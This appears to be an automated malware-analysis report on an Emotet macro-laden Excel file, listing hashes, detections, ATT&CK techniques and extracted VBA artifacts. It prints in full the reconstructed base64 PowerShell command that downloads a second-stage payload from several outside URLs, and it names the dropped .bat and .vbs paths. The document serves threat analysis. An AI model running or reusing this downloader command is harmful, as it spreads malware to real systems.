Emotet Office (OOXML) / .XLSX malware analysis — malicious · bf391f29b9a8b41d

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: cc16bf44cded448ac1edad4270535396 SHA-1: 9e2c9e025138abbbe142bc8c906d2ecef8d86fc7 SHA-256: bf391f29b9a8b41d7d180e104c9da9acf01acaae9fbf5ff302ebe150e6542003

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell

The critical ClamAV detection and high-severity heuristics for Workbook_Open macros and CreateObject calls strongly indicate a malicious macro-based downloader. The embedded VBA script, specifically the `FHsdrghkldsSeErhoihsw` subroutine, reconstructs a PowerShell command that attempts to download a payload from multiple URLs. The reconstructed command is: `powershell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAYQBtAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW`. This script is designed to download and execute a second-stage payload from the listed URLs. The presence of `c:\programdata\jledshf.bat` and `c:\programdata\tghklsd.vbs` suggests dropped files for execution.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `0231587bd1385b0d24c9bac1c4dde91c776d366f90b134efdc2f4faf1fd690f5`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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